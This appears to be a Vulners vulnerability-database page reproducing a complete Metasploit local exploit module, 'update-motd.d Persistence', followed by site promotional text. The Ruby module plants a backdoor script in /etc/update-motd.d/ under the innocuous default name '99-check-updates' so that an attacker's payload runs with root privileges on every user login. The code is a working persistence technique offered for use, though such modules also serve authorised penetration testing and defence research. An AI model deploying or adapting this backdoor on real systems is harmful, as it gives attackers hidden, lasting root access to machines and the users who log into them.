Lucene search
K

📄 Update-motd.d Persistence

🗓️ 28 Aug 2025 00:00:00Reported by Julien VoisinType 
packetstorm
 packetstorm
🔗 packetstorm.news👁 159 Views

This module adds a script to /etc/update-motd.d to execute a payload as root on user login.

Code
##
    # This module requires Metasploit: https://metasploit.com/download
    # Current source: https://github.com/rapid7/metasploit-framework
    ##
    
    class MetasploitModule < Msf::Exploit::Local
    
      include Msf::Post::File
      include Msf::Post::Unix
    
      def initialize(info = {})
        super(
          update_info(
            info,
            'Name' => 'update-motd.d Persistence',
            'Description' => %q{
              This module will add a script in /etc/update-motd.d/ in order to persist a payload.
              The payload will be executed with root privileges everytime a user logs in.
            },
            'License' => MSF_LICENSE,
            'Author' => [ 'Julien Voisin' ],
            'Platform' => [ 'unix', 'linux' ],
            'Arch' => ARCH_CMD,
            'SessionTypes' => [ 'shell', 'meterpreter' ],
            'DefaultOptions' => { 'WfsDelay' => 0, 'DisablePayloadHandler' => true },
            'Targets' => [ ['Automatic', {}] ],
            'DefaultTarget' => 0,
            'DisclosureDate' => '1999-01-01',
            'Notes' => {
              'Stability' => [],
              'Reliability' => [EVENT_DEPENDENT],
              'SideEffects' => [ARTIFACTS_ON_DISK]
            },
            'References' => [
              ['URL', 'https://manpages.ubuntu.com/manpages/oracular/en/man5/update-motd.5.html'],
            ]
          )
        )
        register_options([ OptString.new('BACKDOOR_NAME', [true, 'The filename of the backdoor', '99-check-updates']) ])
      end
    
      def exploit
        update_path = '/etc/update-motd.d/'
    
        unless exists? update_path
          fail_with Failure::BadConfig, "#{update_path} doesn't exist"
        end
    
        unless writable? update_path
          fail_with Failure::BadConfig, "#{update_path} is not writable"
        end
    
        backdoor_path = File.join(update_path, datastore['BACKDOOR_NAME'])
    
        if exists? backdoor_path
          fail_with Failure::BadConfig, "#{backdoor_path} is already present"
        end
    
        write_file(backdoor_path, "#!/bin/sh\n#{payload.encoded}")
        chmod(backdoor_path, 0o755)
        print_status "#{backdoor_path} written"
      end
    end

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

28 Aug 2025 00:00Current
6.9Medium risk
Vulners AI Score6.9
159